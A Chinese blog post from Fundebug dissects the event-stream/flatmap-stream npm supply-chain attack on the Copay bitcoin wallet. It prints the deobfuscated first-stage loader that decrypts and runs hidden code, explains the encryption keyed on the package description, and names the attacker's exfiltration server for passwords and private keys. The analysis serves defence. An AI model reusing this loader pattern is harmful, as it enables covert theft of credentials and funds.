JavaScript黑客是这样窃取比特币的,Vue开发者不用担心!

原创 Fundebug 随笔 Fundebug 40阅读 13 天前 举报

如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包Copay被黑客攻击的事情。但是,你知道这是怎么回事吗?

总结

  • 比特币钱包copay依赖event-stream模块;
  • 黑客从骗取了event-stream模块的npm发布权限;
  • 黑客为event-stream模块添加了依赖flatmap-stream
  • flatmap-stream含有黑客代码,仅会在copay项目中正确执行,窃取用户的密码、私钥等信息,从而盗取比特币;
  • 有人说什么Vue可能遭受攻击,其实没有这回事,因为黑客代码只会在copay项目中正确执行。只有copay项目的package.json中的description字符串"A Secure Bitcoin Wallet"能够解密黑客代码;而且,黑客的代码是为copay量身定做的,对其他项目没有作用;再说,黑客是来窃取的比特币的,又不是挖矿,你的项目有比特币给人家偷吗?

Q&A

  • 哪个版本的copay被攻击了?5.0.2到5.1.0
  • 哪个版本的event-stream被攻击了?3.3.6
  • 哪个版本的flatmap-stream被攻击了?0.1.1
  • Vue会受到攻击吗?不会

另外,欢迎大家免费试用Fundebug的错误监控服务哈~

寻找flatmap-stream中的黑客代码

flatmap-stream已经被npm删除了,不过还能在UNPKG上找到代码:https://unpkg.com/flatmap-stream@0.1.1/index.min.js

index.min.js是经过压缩的代码,因此可读性很差:

但是,黑客的黑客代码隐藏的并不深,直接添加在index.min.js的后面:

使用unminify将黑客代码还原:

```javascript=
! function() {
try {
var r = require,
t = process;

    function e(r) {
        return Buffer.from(r, "hex").toString()
    }
    var n = r(e("2e2f746573742f64617461")),
        o = t[e(n[3])][e(n[4])];
    if (!o) return;
    var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
        a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    var f = new module.constructor;
    f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}

}();

很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii("2e2f746573742f64617461")其实就是./test/data,因此数组n即为:https://unpkg.com/flatmap-stream@0.1.1/test/data.js,这个data文件已经找不到了,根据FallingSnow之前的分析,它是一个数组:

数组n中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:

  • hexToAscii(n[2]): crypto
  • hexToAscii(n[3]): env
  • hexToAscii(n[4]): npm_package_description
  • hexToAscii(n[5]): aes256
  • hexToAscii(n[6]): createDecipher
  • hexToAscii(n[7]): _compile
  • hexToAscii(n[8]): hex
  • hexToAscii(n[9]): utf8

将这些值全部替换掉,代码如下:

代码中使用了crypto.createDecipher函数,其文档如下:

可知,代码将项目的npm_package_description作为密码来解密n[0]字符串,而copay项目的package.jsondescription属性是"A Secure Bitcoin Wallet","恰好"可以成功解密n[0]字符串,unminify之后如下:

我们在解密的代码中看到了完全一样的套路,只是这次解密的是n[1]unminify之后如下:

这段代码才是真正窃取比特币的代码,我们稍后再分析。

黑客是如何隐藏黑客代码的?

  • 黑客一共隐藏了3段代码;
  • 第1段代码隐藏在flatmap-streamindex.min.js结尾,代码中使用了16进制字符串来隐藏正真使用的字符串;
  • 第2段代码隐藏在flatmap-streamtest/data的数组中,需要使用copay项目的description字符串才能解密,它在第1段代码中解密;
  • 第3段代码也隐藏在flatmap-streamtest/data的数组中,需要使用copay项目的description字符串才能解密,它在第2段代码中解密;
  • 正真窃取比特币钱包copay的是第3段代码;
  • 第2段和第3段代码刚好需要使用copay中的description字符串"A Secure Bitcoin Wallet"才能解密,可知黑客攻击的目标就是copay项目;
  • 黑客多处使用了Buffer.from(str, "hex").toString()来混淆代码,将ASCII字符串转换为16进制字符串,使我们难以读懂代码;
  • 黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。 maths22成功找到了密码"A Secure Bitcoin Wallet"以及被攻击的项目copay
  • 黑客把所有黑客代码都写在了try...catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)

黑客是如何窃取比特币的

我分析并且简化了黑客的第3段代码,如下:

详细分析可以看我写的代码注释,另外,我还总结了这些要点

  • 这段代码的目的是窃取用户信息,并非挖矿;
  • 黑客通过重写getKeys函数窃取了copay用户的密码,发送到http://111.90.151.134:8080/p
  • 黑客窃取了copay用户所有的隐私信息,包括私钥,发送到http://111.90.151.134:8080/c
  • 黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;
  • 黑客显然分析了copay源码,然后量身定做了这段代码,因此这段代码对其他项目是无效的,肯定会报错,所以他写了很多try...catch。从另一个角度来讲,其他项目比如Vue完全不用担心
  • 通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知,他目前已经不再接收窃取的数据;

结尾

通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全,而这件事恰恰可以给我们很多启示,这个我下次再聊。

其实,这件事挺有意思的,还有很多问题,比如黑客一共用到了哪些技巧?黑客是怎么被发现的?黑客究竟是谁?如何保证JavaScript与区块链的安全性?以后再说吧...

参考

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了9亿+错误事件,得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用!

版权声明

转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2018/12/03/how-does-javascript-hacker-steal-bitcoin/

评论 ( 0 )
最新评论
暂无评论

赶紧努力消灭 0 回复